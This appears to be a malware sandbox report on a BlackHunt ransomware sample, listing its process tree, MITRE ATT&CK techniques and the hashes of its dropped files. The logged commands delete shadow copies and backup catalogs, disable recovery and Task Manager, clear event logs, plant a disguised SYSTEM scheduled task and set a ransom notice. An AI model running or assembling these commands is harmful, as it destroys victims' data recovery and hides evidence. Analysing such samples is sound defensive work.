  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe" /F
  2⤵
  PID:2964
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2072
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3056
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1744
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3048
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:604
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:988
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1052
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:936
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:844
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:568
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:4444
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4148
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:4936
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4968
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4944
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:5100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:4628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\b329d12f84e7d6a7117a1cd6984acc8cc8f728c5e3787466aa8dbd984453e98c.exe"
  2⤵
  - Deletes itself
  PID:3916
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4392

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2632

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1428

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2708

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2040

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1796

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:2484

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
- Enumerates connected drives
PID:4120

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:4828

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:5012

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:4804

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4620

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4744

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:4884

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:4896

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:5040

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:4916

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4732

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4724

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
a8294e8dc98e710e9019bb648445904e

SHA1
784723769e029a7b859886ec33f50b121212a928

SHA256
8f1d5048c36ac21a6b86636ccf757290d72533ff2fbebd07391c1742fe4e83d0

SHA512
26c06def3b3ca375e457d1f77ada019642a379baad13c20a7ccce7c3e62cba01c05291fbd80e7bde991d65fdcc4b65f202a984a573674fb647624371f1b73692

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
d6430a4462e843f43aef686fcbd80ac5

SHA1
7bf056a9bcbad23ed02ad664a19d8196778c54c6

SHA256
9046a727552340ef31f2543735cf8fe37d805e703a47e162c506a1888ec2a1fb

SHA512
82731a38495579766bc3a7282909f54a786aed64bb530b310f86d91af974c92af7b4a91633a66814ff5794412a9d0b4f85f90e905c260c5395ad0b2add2c341e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
1aa7b476cbbcd5777fcb98a8c63fe6ba

SHA1
304d921dae6215dae1696ad63e834901f56aa23c

SHA256
385860f16eab7420455b5e88437d8a916ae63fd3e70809bb579e0f2fe3d6952e

SHA512
b76022d9ec856a82ab8e6d69a61f3db2c388912928a40a83197563e87074b2391ea36200b387bf48123d6cad5b13484eb1abde551dbda5c1999bea08d6a401da

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads